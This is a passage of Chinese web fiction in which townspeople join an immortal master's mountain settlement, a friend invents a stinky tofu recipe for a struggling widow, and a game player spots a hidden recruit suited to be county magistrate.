他先前去那斗坡村确实很顺利找到了不少待招人的工作,本能顺顺利利回来,倒是阴差阳错下被那豆腐厂的孙总管带上了那潜灵山。 等看到山上那些恍若神迹的物品后,杜牙人这才察觉到先前在县内流传的画册上所写内容竟然为真。 尤其是他在下山后,那孙总管似有所感,感慨道:“若跟随仙师,而后不懈努力,恐怕不久以后,便能让人人都过上那般好的日子。” 虽说是这位孙总管的无心之语,但当时跟着孙总管前去的并非仅仅是杜牙人一人,而是一队据说已愿意为仙师效力的才子。 等孙总管说完这话后,这支队伍内不少人则是和身旁的同伴互相交接耳,而后眼神逐渐变得坚定。 杜牙人被这气氛感染了几分,若他正值壮年,也定会心血澎湃,想的全是为这仙师效力。 但他现在早已不是那少年人,而是在这世间苦苦挣扎着讨生活的人。 今日来到山头,杜牙人便能察觉到若在这位仙人的指引下,未来别说附近村落,风仙县,附近县城,最后乃至更远范围都将受到影响。 等到那个时候,人人都能在仙师旗下工作,工钱丰厚,工作轻松,还有那什么报社,致力于让每个人都能得到透明消息。 这番操作下来,他作为牙人这个行当也算是走到了尽头。 不过峰回路转,据那孙总管所说,凡确定给仙师效力之人,不日后便会得到仙人的指点,而后去对应的工作岗位替那位效力,且工钱也不低。 思来想去,杜牙人还是觉得自己应当再接个几单后,再选择替仙师效力,这样既不会说耽误赚钱,也不会说等后期想替仙师效力的人太多,反而轮不上他。 确定好日后努力的方向后,杜牙人这才驾着马车往回走。 风仙县,深夜,孙府。 先前孙父因频频讨好那王县令,但一切均在那几人被未知力量砍杀,脑袋被挂在城墙上结束。 当时孙父一开始在听到王县令等人死讯后,还不相信,等到亲眼看到几人死相惨烈后,当即便腿软了,据说是被自家小厮给抬着回了家。 自回家后,也不知是不是惊吓过度,倒是身子弱了许多,躺在床上久久不能下地。 孙凝羽虽说心中对孙父有诸多意见,但不妨碍这是一个好机会。 先做足了孝顺女儿的戏码,而后又拐着弯传出流言,那日现身仙人会追赶着杀死和那些贪官往来甚密的人。 两方手段下去,孙父更是离不开孙府,因孙母身子虚弱,不堪管理,于是孙府大小事务皆是落到了她身上。 虽说府内也有弟弟妹妹,但无论如何,只要说她目前是府内嫡女,那这份掌家大权只能落在她手里。 倒是经过这一遭,孙凝羽的性子比先前锐利了许多分,借着这管家的机会,她这才能够去找那赵金构,而后加入百才堂。 夜半,脑内还在思索着素日府内要事,孙凝羽刚打算入睡,却听到脑内竟有一声音出现。 ——这声音仿若夏日里流淌的寒泉一般,十分动听悦耳。 “孙凝羽。” 听到有人叫自己名字,孙凝羽不敢动,心想难道是那位仙人? 但最近并未听赵金构说何时引荐她们? 还尚在犹豫之际,那声音非但没停下,反而更清晰可见。 “若你愿意,你可来我报社工作。” 报社? 初次听闻这个词语,孙凝羽第一时间也认为是“报舍”。 大着胆子,试探着开口询问:“您便是仙人吗?” 她其实没太期望对方会回应自己,毕竟在她看来,仙人每日繁忙,怎会分出心神应对她? 倒是没想到,脑内声音竟很快回应她。 “也可以这样说。” 既对方承认,孙凝羽再度大着胆子求这位。 “仙人,我自然愿意替您效力,但有一事想求问仙人,仙人可否告知我白家之女,白思妙目前是否还活着?” 脑内声音微微停顿,孙凝羽不敢停,继续道:“她是此次义师军侵城后,城内唯一一位下落不明之人,我和她情同姐妹,还请仙师帮我!” 眼看对方不再回应,孙凝羽猜测莫不是自己太过于过分? 毕竟哪里有还没给对方效力,便要求对方替自己帮忙的? 心中泛起一抹苦涩,脑内那仅存的期望逐渐消失时,脑内声音却悠悠道:“白思妙?此人目前正在潜灵山,做的便是这报社工作,若你前去的话,便能遇到她。” 说完这话后,脑内声音消失无踪,而孙凝羽则是忍不住呆愣在原地。 ——真的假的,本以为思妙已失踪这么久,定是遇到不测,其实她在询问之际,也未曾敢期待什么,倒是不曾想,思妙人竟已经到了那潜灵山上? 确定到脑内声音不曾继续出声后,孙凝羽立即决定清晨便前往那山上。 因心神焦虑,一宿没能合眼。 等到清晨,取出帷帽戴好,而后坐马车直奔那潜灵山。 此行或许有危险,孙凝羽没带丫鬟小厮,自己反而穿了一身最方便活动的衣服,一会等马车停在山脚下,她便决定解开一匹马,带着食水上山。 等到她来到风仙县城门时,却察觉最近进出城门的人很明显多了不少。 这些人中除却经常往来跑商的队伍,而后便是那些似曾相识的马车。 孙凝羽匆匆一扫,竟惊讶察觉,这些马车竟然有不少她所知的人家。 按照这些人的身份来看,他们是绝不需要出城涉险的,不知现在为何却执意出城? 思来想去,她不由想到一个最接近真相的可能。 ——这些人和她一样,在昨日同样收到了那位仙人的任命,所以才会这般急切出城。 当然了,这些都只是猜测。 虽说心里存疑,但很明显现在派人打听什么也打听不出来,索性等着出城看这些人前进方向是否和她一致。 心里装着事,等轮到孙凝羽出城时,她却赫然察觉这城门口并未有守城官兵。 这会忍不住蹙眉。 那县令几人一死,这风仙县确实处于无首状态,一时半会或许还行,但若长期这般,以后恐怕出现恶性事件的概率很高。 有些担忧,但眼下更要紧的是去寻找思妙。 待她的马车行驶出城门,孙凝羽紧紧地盯紧先前那些人的马车,等到看到不少人方向和她一致时,孙凝羽确定了这行人此去的目的。 路上不方便和对方说话,索性一股脑,径直赶路来到了那潜灵山。 等到山脚时,孙凝羽已嘱咐马夫在山下等她,刚翻身上马,却听闻前方有些骚乱。 还未等她过去,便能看到被众人围观的中央区域,此刻竟缓缓出现了一扇金门,这金门异常高大,就算是他们同时驾马进入,都不会感到拥挤堵塞。 但对于这未知的光门,不少人还是有些胆怯,不太敢上前。 而孙凝羽则是不由暗想。 既仙人派人设置百才堂,而后又指引他们数人前来潜灵山,定是需要他们,所以这光门对于他们来说,定是无害。 既做好决定,孙凝羽咬牙驾马前行。 众人还在纠结犹豫之际,便见一头戴帷帽之人驾马一跃而入。 此人背影瘦弱,再加上帷帽,此人应当是一女子。 既想到女子都敢率先入这奇异光门,这些人坐不住了,纷纷跟着进去。 而孙凝羽则是在进入这光门的瞬间便察觉到此内玄机。 起初她以为穿过这门后或许会来到另一处地方,但等她亲自进来了后才发觉并非如此,内壁也是由光点形成,马匹似乎像是知道往哪里跑一般,只顾一股脑前进。 但说实话,在内的时间很短,她脑内尚未有多余的时间思索,便被马匹带着离开光门。 等到出去的瞬间,明媚的阳光瞬间涌入她眼内,孙凝羽似乎被这光刺激了一番,稍微眯了眯眼,而后才看向附近。 ——青山绿水,其内更是有良田农人。 若单单是从这看的话,她或许要以为自己是来到了哪个村落内,稍微骑马往前走了一段距离,先前看到的景色离得更近了。 孙凝羽神色不自觉带了些兴奋,脑内不由自主想到了先前和方知意,白思妙一同看过的画册。 据那画册所说,这里应当便是它所提及之处了。 还不曾动作,便听到一熟悉声音似不确信道:“孙姐姐?” 孙凝羽猛地朝着声音来源去看,结果便看到白思妙正呆愣愣地站在不远处,观摩她模样不像是受过苦的,孙凝羽不免松了口气,倒是白思妙微微红了眼,扑了上来。 孙凝羽下马和她搂作一团,先前一直绷紧的心脏,这会才缓缓落地。 等到情绪稳定时,二人突然想起曾说过要来此处的方知意。 ——知意可是遇到了什么不测?为何她二人阴差阳错之际都已来到此处,唯独落了知意?《 》 80-90 第81章 宝塔 二人虽说担忧的,但眼下暂时无法得知方知意此刻消息,只能暂时作罢。 等到孙凝羽提及此行前来担任报舍内名为副编一职时,白思妙没忍住惊呼。 “孙姐姐?仙师真告诉你让你过来当报社的副编?” 虽说不知道这副编辑到底是个什么职业,孙凝羽只能点头。 “仙师是这般说的,先前不曾问你,你现在在这里干的什么活计?” 白思妙便将自己目前职业告知孙凝羽,提及到为何要离开家后,二人互相对视一眼,均从对方眼神中看出了无奈。 “孙姐姐,既咱们都分属报社旗下,我先带你去报社看看。” 孙凝羽自是应下,前进路途中,她倒是思绪万千。 ——思妙现在算是暂居山上了,她素日都是有丫鬟伺候的,现在没了下人,不知她过得如何? 但又一想思妙遭遇过那事,就算实际上被仙师救走,却依旧在众人眼里落了个有失风化的印象。 若不是仙师将她带到此处,想必那白家定会将她送走。 到时候日子过得也清苦,还不如乖乖跟着这位上山。 只是难免山上居住着要辛苦几分了 还在想个中事宜时,孙凝羽却被白思妙欣喜声打断。 “孙姐姐,看,这里便是我们报社了。” 孙凝羽这才忙去看,只见行至此处,一座古朴精致的九层宝塔出现在眼前。 飞檐斗拱恰似飞鸟展翅,雕梁画栋间满是祥瑞纹饰。 宝塔大门上方正刻印着鎏金的三个大字——集闻楼。 因前面遇到的皆是一副田园场景,这会初见到这九层宝塔,孙凝羽整个人都懵了。??? 竟是九层宝塔? 建造此塔的话,这难度系数可是不低,其中所要花费的人力物力更是难以想象。 等到进了这塔内,孙凝羽这才察觉此塔内部更是乾坤万千。 偌大的塔内一楼是一排排书架,只是让人疑惑的是,这些书架上的书籍数量确实不多。 白思妙引着孙凝羽前去八楼。 “报社的办公区域在八楼,我想仙师应该是打算将下面这些楼层都填满书籍才是,只不过现在才刚开始,寻找书籍也是需要时间的。” 孙凝羽点头,心中忍不住澎湃万千。 若真能成的话,到时候集闻楼内岂不是是最大的书馆?只是这样的书馆,不知是不是开放给所有人查看的? 再联想到自家书房仅有的几个架子,就这样孙父依旧要将这些书藏得严实,不让旁人前去书房,顿时她内心不免多了几分怪异的情绪。 等不小心开口问出这疑惑时,白思妙拉着她的手,忍不住正色道。 “孙姐姐,这集闻楼内书籍自然是开放的,仙师和我遇到的任何人都不同,他不怕百姓们看书识字,也不怕百姓们有了自己的思想后会不好管理。 先前我还听说,仙师主动要求张娘子,就是先前在风仙县卖酸辣粉的那位张氏,命她开辟数个学堂,供所有想去读书的人读书,无论男女老少,无论家境,只要想去都能去,且每年束脩费用仅为一两而已。 即便是没有一两,也可先读书,等到读完了后必须在仙师旗下工作还钱而已。” 孙凝羽听得浑身一震,面色忍不住变了又变。 ——全面推行百姓识字认字,让所有人,尤其是女子和贫民都拥有读书认字的机会仙师,竟是这样的仙人 不知为何,孙凝羽脑内却不自觉显现出孙父藏书藏得严严实实的画面,以及和身份地位等同之人互相拜访,互换书本的模样。 在本朝书籍的价格昂贵,若是贫民家中的孩子,从出生到结束都不会有能摸到书本的机会。 且这个时候,文人骚客也以自家藏书为可炫耀之物,每本藏书皆是他们钻营取巧的机会,而眼下仙师贵为仙人,竟想要公开所有藏书,此等胸怀和气魄,足以令她震撼。 似感受到孙凝羽眼内的敬佩,白思妙拉着她前往八楼,边走还边变着花样的炫耀。 “孙姐姐你跟我走,这集闻楼内很神奇呢。” 说话间,二人已站定在一小格子间。 孙凝羽还不曾说话,便察觉脚下震动,而后脚下踩的地竟然在往上升? “这莫不是地龙翻身?” 孙凝羽面色惨白,以为是地震,手紧紧攥着白思妙的衣袖,似乎在等眼前格子间大门打开后拉着她逃走。 倒是白思妙笑道:“孙姐姐,别紧张,此物名为电梯。” 电梯? 分明只是数日不见,孙凝羽却觉得自己听不懂白思妙口中的这些新鲜词汇了。 似乎是察觉到孙凝羽的疑惑,白思妙忙解释:“其实它运行的原理我也不是特别清楚,若根据那学堂所言,是因为电的因素,但我理解不了,只能认为这是仙师的法术了。” 孙凝羽缓缓点头,脑内还在吸收着这次所见所闻,而等到电梯停好后,二人这才来到八楼。 等到八楼时,其内竟有几人正在低头干活。 在被介绍这几人均是报社成员后,孙凝羽和这几人均打了个招呼,而后便被带入上方住宿区域。 “这是报社工作人员的住宿间,素日我便是在这里休息。” 看着眼前窗明几净的房间,孙凝羽忍不住仔细观摩。 ——这房间倒是奇妙,墙上不知是刷了什么,摸起来手感异常光滑,且这颜色要比她所见的大户人家的墙还要白净。 地面的话则是采用了大户人家所喜欢的木地板,孙凝羽伸出手去摸这地板,心下有所评判。 ——不是名贵的地板,工艺也不算复杂。 但更令人惊奇的是白思妙带着她观看的沐浴之处,据她所说,只要说想洗漱了,直接打开龙头,从这龙头内便会有温水以供洗漱。 在这内,孙凝羽倒是也看到了先前那游历画册上所写之物。 一个叫花洒,一个叫马桶,均是不可多得的神奇之物。 这住宿洗漱问题解决了,这会就剩吃的问题。 据白思妙所说,先前比较小的厨房窗口扩建成了食堂,只要是在仙师旗下工作的,便可享受员工价的餐食。 等到听她讲解完毕后,孙凝羽先前担忧的心总算是落了地。 本以为思妙或许会吃点苦,但眼下看来,这丫头运道不错,亲自参观后,她便知晓这地方根本不需要丫鬟伺候,吃住行都能自行完成。 今日也是她来的第一天,自是要跟着一起工作的。 据白思妙所说,目前的话,她们正在干的工作便是设置报纸布局,以及搜索各类有用消息。 搜索消息的人自然要去那学堂,而设置报纸布局的话,这活目前落到了白思妙头上,但很可惜,她以往画技便不好,但在这几人中,竟还是矮子里拔高个,所以无奈之下,这活计只能落在她头上。 知晓这事后,孙凝羽主动承担了这工作,毕竟她擅长作画,且目前的话,她暂时不能在山上呆太久,只能带着这任务回家去。 而之前跟在孙凝羽身后的那群人则是被卫娘子引着参观这潜灵山。 这些人中,方大夫一路看得是眼睛一亮又一亮。 ——他没看错吧?就刚才走的那几步路,他似乎便看到不少年份久远的药材,几十年的都是平均数,几百年的也有。 期间他差点忍不住前去采药去,最后还是理智占据上风,心想等他去了那医馆后再出来采药也不迟。 等方大夫以及其余的几位均被卫娘子带进那医馆后,几人这才歇息下来。 尤其是这医馆内竟还有住宿区,这让几人均是惊喜。 只是这洗浴区甚是神奇,一行人围着看了半天,也不曾弄明白其中的奥秘,最后还是请教了一驻足在医馆门外的男子,这才弄明白了这洗浴区。 方大夫心想这男子看着其貌不扬的,却懂得这物叫花洒,还懂何物为马桶,忙请教对方工作内容。 等到听到对方是在矿区挖矿的工人时,忍不住询问:“是那矿区也有类似这样的宿舍吗?” 这男子点头,“有是有,就是一个屋里住的人比医馆人多,而且我们那洗浴的话,是一个大澡堂,大家都在一起洗浴,不过和这医馆内也差不多,那大澡堂内也有分隔出来的小隔间。” 说完这话后,这人便离去了。 虽说对这山头好奇得紧,但眼下最重要的事便是去先前那地方将草药挖掘走。 叫上两位有兴趣共同前往的同伴,一行人采集得尽兴,这才回到医馆内。 等到看到医馆内放置草药的区域竟全是一些还未曾炮制的草药时,方大夫忍不住眉头微蹙。 奇怪,这些草药未曾炮制,也不知放置了多久,毕竟匣子上都落了些灰尘,但奇怪的是状态却好得很,各个像是刚采摘下来一般,完全没有打蔫。 想必这便是仙师的仙术了。 不过大部分药材还是需要炮制后才能使用,再加上此处新鲜草药甚多,放着不管便要浪费了,几人互相商量着先将这些药材炮制出来才是。 这些人内,以方大夫医术最为精妙,这群人也就顺势听从方大夫的指挥做事。 来这医馆工作的话,每月能获得固定薪资为二十两的工资,相比于山下有一顿没一顿的现状,除却方大夫外,其余几人对这薪资均是满足异常。 毕竟他们最好的时候月薪也才十几两,最差的时候,一个月也就几两罢了,哪能比得上现在旱涝保收? 且这地吃喝住宿不愁,有仙人庇护,也不怕灾祸,反而是求不得的好去处! 第82章 心凉 至于这月薪三十两的待遇对于方大夫来说是少了许多,毕竟他在山下有自家医馆,再加上他名声在外,经常前去各个府内给达官贵人看病,年头好的时候,他一个月赚几百两都有。 就算是近期最坏的时候,他也能赚个几十两。 这还仅仅是他个人的收入,若是算上医馆,其实方大夫算是小有成就了。 他能想着替仙师效力,一是知晓仙师品性高洁,二是自觉自己医术已没有上升的空间,特来向这位求学。 只是来了以后他便发现,仙师素日忙碌,经常不在潜灵山,若是想学的话,恐怕他必须自行前往那据说是仙人授课的学堂了。 与此同时,和爹娘一起出来的方知意则才刚刚到达斗坡村。 其实先前在她收到二人回信后,一行人便打算去斗坡村,可惜自家庄子发了灾祸,一行人只能暂去庄子看到底是何情况。 而前往庄子的路上,运气不够好,竟是先后遭到了两拨歹人劫持。 一行人好不容易逃出去,而后解决完庄子内问题后,这才换了一条路离开。 连着走了三日,路上极尽小心,这才赶到这斗坡村内。 初次见到这斗坡村时,方知意以为此处应当是一比普通村落要稍微繁华几分的村落而已,但当她亲眼看到眼前的一切时,一时间,竟有些看呆了去。 来往做生意的商贩遍地都是,而在这之间,亦有不少提着篮子叫卖吃食的妇人。 除却这些以外,方知意甚至还看到了不远处的两座工厂。 ——她有所耳闻,想必这两座工厂便是口口相传的地瓜厂和豆腐厂了。 因在外奔波实属劳累,一行人先行入住客栈歇息。 方知意入住的是万安客栈,据路上行商所说,这万安客栈住起来甚至要比那城内的客栈还要舒服。 本以为是夸大,但当方知意拉动绳索,脑袋上出现数根密密麻麻的温水后,她顿时畅快。 ——好生神奇,这地竟不是泡桶,而是这温水径直从头顶倾泻而出,既省水又干净,只是不知如何操作的? 边想,方知意边拿起那客房送来的一方皂角在掌心揉开,随即清洗干净近日赶路风尘。 等她从那沐浴房内走出来后,回到房内时,这才有空去吃客房送过来的食物。 令人好感倍升的是这客房伙计竟是个女子,也倒让她不至于说不太自在。 只听这女子道:“这便给小娘子介绍本店的餐食。 这看着油辣,闻起来酸香扑鼻的便是咱们这里的酸辣粉,人人来了我们斗坡村必吃的一道,若家中有怀孕妇人,则可在每月月初,月中,月末去祈福,以求仙师大人能给予怀孕妇人一道保护。 一旁放着的是近期新品,腐乳肉,豆豉鱼和臭豆腐,滋味都甚是不错,小娘子慢慢品尝即可。” 方知意心想虽说这万安客栈住宿价格贵,但人家这些餐食是免费送来的啊,再想想先前那澡洗得痛快,倒是令她心情久违地好了数分。 只是对这酸辣粉她仍有疑惑。 “何谓给怀孕妇人一道保护?” 客房女子笑眯眯道:“这保护是仙师大人的术法,可保孕妇全程生产顺利,不至于丧命,但作用只有一次,无法多次叠加。” 方知意心思一动,——她表姐正怀着孕,若是这酸辣粉有这等大用,她给表姐带一份岂不是皆大欢喜? 省得表姐中间遭罪。 再想想后日便是月中,不至于说等不及,方知意将这想法记在心上。 那客房很快便离开了,留她一人用餐。 奔波数日,心里挂念的事太多,方知意这会自觉腹内饥饿难耐。 等她夹着筷子,尝了一口这豆豉鱼时,忍不住瞪大双眼。 ——味道十分鲜美,不知是如何做的? 再尝试一番其余的菜色,均是令人惊异的美食。 其中尤其是这臭豆腐有趣。 闻着臭,吃起来却香得很。 一夜无梦,第二日。 方父前往那两个厂进货,寻求合作,而方知意则是决定在村里转转。 昨日没细看,今日细看后她便惊诧发觉,这村落的路竟是稍作休整的,不像是别的村路那般泥泞,反而是用小碎石铺设而成,不至于说难以通行。 但也有坏处,因往来商贩太多,这石子铺设而成之路明显受到了损坏,恐不久后还需要继续修缮才是。 将眼神从这路收回,方知意将村内转了一圈后察觉到一个新发现。 这里的人生活得十分快乐,不说别的,这里的人面上那股对生活的期望就做不了假。 而在其中逡巡时,方知意这会却得知了一令她震撼到失色的消息。 ——那风仙县早在五日前便被仙师出手救下,那王县令等高官,以及那义师军首领,全部被砍首后挂在城墙上示众。 方知意知道这消息时还在一臭豆腐摊位上等着餐食,听到这消息后,忙去追寻说这话人到底是谁。 身旁人除了有少部分人不知晓这事以外,大部分看着显然是知道的。 “六二,别吹嘘了,大伙都知道的事还用你说嘛!” “就是就是,你说的那事最近画册上不都画着呢!” 画册? 方知意捕捉到关键信息,而后花钱买下名为六二此人手中的画册一览。 等到手边那份做好的小食凉透时,方知意这才揉了揉额头,眼神是止不住的兴奋。 竟真是仙师出手了! 她本以为来这斗坡村会是一场豪赌,也曾想过数些意外会出现,但没想到这里竟和那游历册子上所说相差无几,这仙人果然是好仙。 先前时刻担忧的心此刻缓慢落地。 匆匆吃下那份小吃,方知意而后打听一番本村里正所在地后,直奔而去。 她想得很好,既整个村内有着仙人插手,那身为本村里正定是能知晓该如何才能见到这仙人才对。 而等到方知意离去后不久,李娘子站定在这臭豆腐摊位旁,拿出手帕给刘寡妇擦汗。 “妹妹今日卖得可好?” 她指的自然是臭豆腐摊。 刘寡妇一笑,眉眼登时生动了几分。 “你看我这准备好的臭豆腐都卖空了,自然生意好了。” 因在外,刘寡妇没多说,当李娘子帮着她收拾好摊子,二人一同返回家内后,刘寡妇这才舒了口气,挑了挑眉。 “要不是姐姐你把自己琢磨出来的臭豆腐方子给了我,让我去摆摊,这会我定是还要去找别的出路的。” 原先刘寡妇卖的是没什么技术含量的烤地瓜,先前还好,因大部分人抹不开脸面出去叫卖,反而被她捡了个漏,再加上当时来斗坡村的商贩不少,大部分也都愿意花点小钱尝尝烤地瓜的滋味。 但等这阵新鲜劲过去后,买的人便少了许多。 尤其是附近人都种上了地瓜,地瓜一收获,不少先前还在观望的妇人忙也在家里烤好地瓜后拿出来叫卖,这样无形中便出现了许多竞争者。 那会刘寡妇的摊子是一天不如一天。 当时李娘子一回来,只休息了半日,便挣扎着起身要去上工。 她怕啊,毕竟周围流言四起,都说她故意杀夫,也不知道用了什么狐媚子手段,竟能让那县太爷没判罪,完事后还让那被杀的李四一家倒给她四两钱作为赔偿。 李娘子生怕自己好不容易做出一点起色的事业会因为这事给掐断了,当她急匆匆赶往豆腐厂时,看到的便是窗口的张娘子正给她结算工钱。 现在并非月底,为何要结算工钱?!莫不是真不要她了 脑内“轰隆”一声,李娘子忍不住身子摇摇欲坠,但细细思索,倒也能理解豆腐厂。 厂子已经对她够好的了,先前多亏了有孙总管帮忙,不然她恐怕要折在李四这事内了。 再加上自己的工作总需要出门跑腿,推销新的产品,不管这件事的真相如何,换位思考,她的确已不适合这岗位了。 李娘子呆呆地站在窗口,脑内狂风暴雨,虽说理智上能理解,但情感上她却依旧感觉到了恐慌 以后她该何去何从? 离开了豆腐厂,她还能找到新的工作吗? 这会越想,脸色忍不住越是煞白。 而张娘子在清点完毕后,赫然察觉到窗口差点站不稳的李娘子。 “李娘子,你来得正好,这是你上个月的提成,孙总管特地嘱咐我,让我给你结算一番,先发给你,让你这段时间在家里养养身体再来上班。” 李娘子嘴唇苍白,眼神飘忽,“多谢孙总管这段日子对我的照顾,我” 刚想继续说话的李娘子顿时瞪大眼睛。 ——等一下,刚才张娘子是不是说了等她养好身子后再来上班? 竟还让她来上班? 李娘子不敢置信,死了的心又重新活过来两分,这会呆愣愣地又问:“张娘子,到时候继续上班也是我这个岗位吗?” “那是自然,毕竟孙总管说了,这岗位目前还得是你扛着才行,不然这新品推销太让人头疼了。” 张娘子边吐槽,边将李娘子的提成从窗口递过去。 看到对方一副不在状态的模样,再想想刚才的话,她似乎想到了什么,忙开口提醒。 “李娘子,你可不能想不开啊,可别因为先前那事影响了你,你想想看,这工作你做得多好,不干的话多可惜! 再说了,别的活计说不定你也赚不到这些,还不如继续干这个。 虽说我知道你以后见人的时候心理压力大,但你总归要克服这个心结,等到见过几个人,你就放松多了!” 张娘子絮絮叨叨说了很久。 而李娘子却从中感受到了她那含蓄的关怀。 再看着装得鼓鼓囊囊的荷包,她忍不住抽噎了一下,而后泪流满面。 第83章 隐藏人物 拿着那笔提成,李娘子在家里修养了几日,随后便正常上工。 出去跑市场时,附近有些不明真相的人确实对她冷脸,不愿意听她介绍产品,起初,李娘子有些泄气,但被拒绝的次数多了,她反而越挫越勇。 既附近地方这些人都不愿意听她介绍,那她何不换个思路,离那稍远一些的地方推销呢? 反正近点的地方她也推销过数次了,想必效果定是不如别处的。 想明白其中因素后,李娘子租了一辆驴车,比原先走得远了些。 虽说投资成本稍微有所上涨,但结局是好的,稍远一些的区域压根就不晓得她身上发生的事,倒是因为这东西实在是稀奇,陆陆续续购入不少。 甚至李娘子还和几家约好了按时送货的时间。 眼看工作越干越好,李娘子先前一直忐忑的心这会才慢慢缓和。 而当她连续干了有半个月后,倒是有幸被张氏选中去潜灵山上去。 张氏念她能用豆豉做出花样来,深觉此人或许在厨艺这方面颇有天赋,再加上未来或许仙师还会有传播美食这类任务,索性在自己上山的时候,也带上了李娘子。 李娘子自是应下,等她上山后,观及山上种种,无一不觉得是神迹。 尤其那学堂内仙人授课,让她对食材制作和处理又有了新的感悟,而在其中,李娘子倒是注意到其中有个很有趣的小吃。 学堂内给这小吃叫臭豆腐,不过可惜的是并未制作方法,只有几张图以供参考。 那图上是数块被炸得金黄的豆腐片,而后淋上了一抹橙色酱汁,而后再撒上芫荽。 ——这倒是有趣,不过这臭豆腐似乎和她要推广的臭豆腐并不相同,毕竟她目前推广的臭豆腐口感绵密,就算是经过油炸也绝非是学堂内这般状态 定是还有别的做法。 直到李娘子下山之际,脑内依旧还在琢磨着臭豆腐的做法。 等到回到刘寡妇家中时,李娘子这才察觉到刘寡妇今日竟回得这般早。 等到了解后才知晓,这段时间,她烤地瓜生意卖得很是冷清。 想到先前自己还是受刘寡妇所鼓励才有工作的勇气,李娘子不自觉有些焦心。 再加上近期和刘寡妇长期相处下来,对方确实对待她和闺女是实打实的好。 眼看刘寡妇兴致不高,李娘子主动做好了饭,而后安慰她。 “实在不行,我教你做别的菜,比如腐乳肉,豆豉鱼,这些都是最新的小吃,定能有出路。” 刘寡妇不太自在,但眼下烤地瓜生意确实一般,只能默声,等到饭毕,李娘子便手把手教着刘寡妇做菜。 但可惜的是,就算是手把手教,刘寡妇的厨艺似乎也做不到像她那般好吃。 一时间,二人均有些泄气。 李娘子站出来打圆场,“不碍事,才第一天,过几天就好了。” 就这样,过了三天,刘寡妇手艺非但没上升,反而因为急躁心慌煎坏了鱼。 这会她蔫了吧唧地出去继续卖烤地瓜,而李娘子则是思索开来。 ——看来刘寡妇只适合较为简单的小吃,但眼下一时半会倒也想不到什么新奇吃食能吸引大伙注意力。 思来想去,李娘子突然脑内忽有灵感。 昨个厨房还剩下两块豆腐,本来是留着打算今天吃的,这会她将豆腐切成片,而后下油锅炸好捞出。 制作卤汁时,李娘子按顺序放入生姜,小葱,盐,花椒面,而后拿出成品臭豆腐碾碎成汁,一起倒入锅中翻炒烹煮。 等阵阵香臭味传出后,李娘子这才将炸好的豆腐放入其中,片刻后,一碟臭豆腐便做好了。 为求完美,李娘子还特意从院前摘了一把芫荽,洗干净切成段撒进去。 孩子们在闻到臭味时,各个小跑着过来看热闹。 “娘,这个是不是坏了?感觉臭臭的” “没坏,这是娘特意做的,你们先等一下,娘尝尝味道后你们再吃。” 李娘子脸上浮现出一抹笑,安顿好孩子们后,她先吃了一块试试味道,等到那臭豆腐一入嘴,口腔内瞬间迸发出多层丰富口感。 咸香臭,三种滋味混合得甚是巧妙。 这会连她都忍不住微眯双眼,心中暗叹不已。 ——好吃,真和那学堂内描述的一般,闻着臭,吃着香! 看李娘子吃得香,孩子们各个吵着要吃。 给刘寡妇留了几块后,李娘子便让孩子们吃个痛快。 她自己则是又去买了五块豆腐,打算等刘寡妇回来时教会她做臭豆腐。 按照她所想,这臭豆腐甚是稀奇,且滋味特殊,一时半会应当不至于说会出现强力竞争者。 哪怕最后有竞争者,那数量也比烤地瓜少多了。 等到天黑时,刘寡妇这才推着小车回家。 李娘子过去添把手,眼神微微一扫,便知晓今日生意依旧不好。 等到刘寡妇进了屋,忍不住蹙眉道:“这屋内怎么有股臭味,难不成是昨日剩的豆腐坏了?” 心里正心疼着,毕竟她现在收入不比以前,两块豆腐坏了可算是白瞎了。 李娘子摇头,随后端出臭豆腐让她尝试一番。 刘寡妇没反应过来,只是以为是李娘子舍不得坏了的豆腐,将此物做成了别的吃食。 正好她也不舍得,这会便夹了一块臭豆腐入嘴。 本没报什么期望,但等到她细细咀嚼后,便能察觉到此物甚是有滋味。 “好吃,姐姐手艺真是不俗,这到底是怎么做的!” 感慨后,刘寡妇瞬间便将剩余的几块臭豆腐全都吃下肚。 而等她听闻李娘子讲解这臭豆腐的做法时,脑内不自觉想,——李姐姐真是个妙人,竟连臭豆腐这般吃食也能复刻出来! 连续教了刘寡妇三个晚上,刘寡妇总算能顺顺利利地出摊了。 出摊当日,李娘子远远地去她摊位旁看了一眼,等看到那处人山人海后,这才放心离开。 到了晚上,果然刘寡妇一脸喜色。 “这臭豆腐卖得甚好,中途我还买了鲜豆腐回家炸了后继续出摊。” 李娘子忍不住抿了抿嘴角,真心替刘寡妇高兴。 倒是刘寡妇要从那收益中取出一半给她。 “这臭豆腐是姐姐教会我的,以后盈利我均应该分润一半给姐姐才是。” 李娘子正色拒绝。 “你我不是姐妹,却胜似姐妹,当时若不是你去找人将我从那县内救出,此刻我定是早就魂归黄泉,哪还能好好活着! 再说,今日我总是在你家中居住,平时你也不朝我要分文,若是非要算的话,这臭豆腐方子便算作房费吧。” 刘寡妇不禁动容,她先前能选择添把手也是因为李娘子当初率先对她伸出援助之手而已。 她只是作为一个知恩图报之人,做了本该去做的事。 但谁能想到,兜兜转转,命运却再让李娘子救了她一次。 话说那方知意此刻已找到里正,对于这位神秘的里正,她在和对方客套一番后,便说出了自己的真实想法。 “方小娘子的意思是,你也想为仙师效力?” 方知意郑重道:“自是如此,我猜想里正定会有能帮我引荐的方法,这才特意求里正您帮我。” 先前她已将自己的来处告知里正,而里正则也在内心琢磨。 ——方家他倒是也听过,素日里接人待物都很公道的一家,并未做过什伤天害理之事,且推荐的话,仙师自然会有定夺。 索性不再废话,径直将此人引荐给仙师。 而此刻,游戏屏幕上弹出来一则消息。 姜定这会忍不住前去查看此消息。 【你的工人里正向你推荐了一位新工人,是否查看?】 新工人? 虽说现在他已经有不少可供选择的工人,但一般来说,这种随机事件推荐的人往往才是此游戏中的隐藏人才。 深谙此道的姜定忙点了查看,而后,一闪着黑光的人物信息界面弹射出来。 这颜色他还是第一次见,这黑光到底代表什么? 心里怀着好奇,姜定忍不住细细查看此人的属性。 等到匆匆一扫,姜定忍不住疑惑。 ——这人的属性好高,竟然比先前那名为赵金构的紫色隐藏人物属性还要高! 虽说要比那名为祝应的属性低一些,但这属性看得让姜定差点落泪。 果然这也是隐藏NPC啊! 招收!必须招收! 再看看此人的天赋属性那一栏目上赫然写着的是,【德才兼备,公正无私】 好吧,这么看来这人要做的事就很明显了。 按照她的天赋以及目前状况来考虑的话,那么很明显,此人最适合的岗位便是——风仙县县令之位。 先前他在击杀完毕敌军后,倒是也曾尝试过,看看主控是否能担任县令一职,但可惜的是,主控并不能担任。 无奈,只能从他现有工人中寻找能担任此职位之人,但很可惜,均因为属性不够,无一人能上任。 